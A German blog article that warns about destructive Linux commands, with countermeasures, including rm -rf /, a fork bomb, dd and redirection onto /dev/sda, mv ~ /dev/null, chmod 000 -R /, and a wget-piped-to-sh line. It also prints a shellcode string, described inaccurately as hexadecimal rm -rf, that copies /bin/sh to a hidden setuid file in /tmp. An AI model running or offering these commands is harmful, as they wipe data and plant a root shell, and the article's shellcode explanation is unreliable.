Gefähr­li­che Befeh­le, Linux-Bom­­ben


Inhalts­ver­zeich­nis

Vor­wort
1. rm
2. rm -rf in hexa­de­zi­mal
3. Fork­bomb
4. Copy und Pas­te
5. Device Null
6. Ope­ra­to­ren
7. WGET
8. dd
9. Wei­te­re Befeh­le
Fazit
Quel­len


Vor­wort

Vor­sicht, nur in vir­tu­el­len Maschi­nen tes­ten! Als Test­sys­tem hat­te ich ein Ubun­tu 16.04 in eine vir­tu­el­le Maschi­ne instal­liert und mehr­fach kopiert.


1. rm

Die bekann­tes­te Linux-Bom­be ist wohl “rm”, denn es wird oft ver­ges­sen den kom­plet­ten Pfad anzu­ge­ben, auch wenn man in einem Unter­ver­zeich­nis ist, denn die­ser Befehl geht über die Wur­zel. Und es ist auch hoch bezahl­ten Admins schon pas­siert.

sudo rm -rf /

Die­ser Befehl löscht ohne Nach­fra­ge rekur­siv alles ab Wur­zel­ver­zeich­nis. Alles heißt, alle ein­ge­häng­te Lauf­wer­ke und auch alle Netz­lauf­wer­ke.
Funk­tio­niert tod­si­cher! Aber nicht unter dem Ubun­tu, dort wird eine War­nung aus­ge­ge­ben.
Gegen­maß­nah­me
Ein Fall­strick kann “safe-rm” sein. Es soll vor unbe­ab­sich­tig­ten löschen hel­fen. Wer sich aber dar­an gewöhnt und auf einen anderen/neuen Rech­ner kein “safe-rm” instal­liert hat, dann ist “rm” ist sei­ner Gewalt nicht zu brem­sen.
Ansons­ten hilft auch kein beten.
Quel­le
Wei­te­res in jedem Linux-Hand­buch und jeder Unix-Befehls­re­fe­renz.


2. rm -rf in hexa­de­zi­mal

Ist genau­so schäd­lich:

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

Unter Ubun­tu müss­ten dazu die Pake­te release und bikes­hed instal­liert sein. Hat bei mir unter Ubun­tu nicht funk­tio­niert.


3. Fork­bomb

Rech­ner aus­las­ten mit Hin­ter­grund­ak­ti­vi­tät und damit die CPU mal rich­tig heiß wird und sich selbst aus­lö­tet.

:(){ :|:& };:

Funk­ti­on die defi­niert wird, hier “:()”, ruft sich selbst als Hin­ter­grund­ak­ti­vi­tät auf und über­gibt sich wie­der neu und so wei­ter, also eine typi­sche Fork­bomb. Funk­tio­niert unter Ubun­tu. Bös­ar­tig, es wird am Anfang nicht gleich wahr­ge­nom­men und Sys­tem­mo­ni­to­re, wie “Con­ky”, zei­gen durch die 100% aus­ge­las­te­te CPU kei­ne Ver­än­de­run­gen an.
Gegen­maß­nah­me
Schutz gibt es, wenn die Datei “/etc/security/limits.conf” dem ent­spre­chend edi­tiert wird.


4. Copy und Pas­te

Das Inter­net hilft bei vie­len Gele­gen­hei­ten, aber ersetzt nicht das eige­ne Den­ken. Kopie­ren und Ein­fü­gen kann gefähr­lich sein. Hin­ter einer harm­lo­sen Ein­ga­be wie

echo "Hallo Welt!"

kann man auch

rm -rf /

ver­ste­cken.
Gegen­maß­nah­me
Vor­sichts­hal­ber in ein Edi­tor ein­fü­gen, hilft aber auch nicht immer :-)


5. Device Null

Das Gerät Null ist tat­säch­lich ent­stan­den um Daten, die als unwich­tig gel­ten, in das Nichts zu sen­den.
Doch fol­gen­de Befehls­zei­le löscht das gesam­te /home-Ver­zeich­nis des ange­mel­de­tem Benut­zers.

mv ~ /dev/null

In Ubun­tu ist dafür kei­ne Berech­ti­gung vor­han­den.
Gegen­maß­nah­me
Nach­den­ken, was soll eine Til­de, also das /home-Ver­zeich­nis, mit Null zu tun haben!


6. Ope­ra­to­ren

Ger­ne nut­ze ich das Kom­man­do “ls > Verzeichnis.txt” um mir den Inhalt eines Ver­zeich­nis als Text­da­tei abzu­le­gen. Und bei Ände­run­gen lege ich mit dem dop­pel­ten Ope­ran­den “ls » Verzeichnis.txt” in der sel­ben Datei am Ende nach.

ls > /dev/sda

Wird aber die­ser Befehl aus­ge­führt über­schreibt er die genann­te Fest­plat­te mit sich selbst. Statt “ls” könn­te auch ein ande­rer Befehl genom­men wer­den, die Aus­wir­kung ist gleich, da hier der Ope­rand den Feh­ler aus­übt. In Ubun­tu ist dafür kei­ne Berech­ti­gung vor­han­den.
Gegen­maß­nah­me
Immer erst in einer vir­tu­el­len Maschi­ne sol­che Kom­man­dos prü­fen.


7. WGET

Ist die­sel­be Bequem­lich­keit wie kopie­ren und ein­fü­gen. Ein Script wird im Netz zur Ver­fü­gung gestellt und nun kann man es ein­fach durch die Shell aus­füh­ren, mit Ver­hin­de­rung von wich­ti­gen Infor­ma­tio­nen.

wget http://webseite.com -q | sh

Nur, ob die Beschrei­bung des Skrip­tes mit dem tat­säch­li­chem Inhalt über­ein­stimmt, ist hier nicht plau­si­bel erwie­sen.
Hat in mei­ner Ubun­tu-Instal­la­ti­on nicht funk­tio­niert.
Gegen­maß­nah­me
Durch “quiet” ist es noch nicht mal mög­lich die Gefahr zu ban­nen, zum Bei­spiel mit “Strg+c”.


8. dd

Die­ses Kom­man­do ist zum Kopie­ren gedacht. Hier ist Miss­brauch mög­lich, um Daten­trä­ger zu über­schrei­ben.

dd if=/dev/urandom of=/dev/sda

An die­sem Bei­spiel wer­den Zufalls­zah­len auf die gesam­te Fest­plat­te geschrie­ben und somit der vor­han­de­ne Inhalt gelöscht.
Gegen­maß­nah­me
Da hab ich es mit Nel­son -> “Haha”.


9. Wei­te­re Befeh­le die vor­sich­tig ange­wen­det wer­den soll­ten.

Die nach­fol­gen­den Kom­man­dos habe ich nicht getes­tet, erschei­nen aber logisch.

sudo chmod 000 -R /

Rech­te wer­den rekur­siv ent­zo­gen oder kei­ne erteilt wie man´s sieht. Daten blei­ben aber erhal­ten.
Mit umask wären sicher­lich auch sol­che Spiel­chen mög­lich.

touch root
sudo chattr +i root

Datei mit +i unver­än­der­lich set­zen

sudo chattr -i root

Attri­but wie­der ent­fer­nen


10. Fazit

Das sind wohl eini­ge der bekann­tes­ten Fall­gru­ben. Trotz­dem soll­te bei ange­bo­te­ner Hil­fe das eige­ne Den­ken die ers­te Hür­de sein und ein gesun­des Maß an Miss­trau­en, ob ande­re nicht auch Flüch­tig­keits­feh­ler machen, wäre ange­bracht.


Quel­len

Linux-Hand­buch von Kof­ler, Gal­li­leo-Ver­lag
Unix-Befehls­re­fe­ren­zen im Netz
http://www.junauza.com/2008/11/7-deadly-linux-commands.html
https://ppfeufer.de/lokale-linuxssicherheit-oder-wie-entschaerf-ich-die-bombe.html/
https://www.schnatterente.net/software/versteckter-schadcode-gefaehrliche-linux-howtos/2
https://www.heise.de/security/dienste/Copy-Paste-Tricks-1842691.html
https://de.wikipedia.org/wiki//dev/null
https://de.godaddy.com/blog/die-5-gefaehrlichsten-kommandos-in-der-linux-konsole/
https://wiki.ubuntuusers.de/wget/
http://www.linux-community.de/Internal/Nachrichten/Die-7-toedlichsten-Linux-Kommandos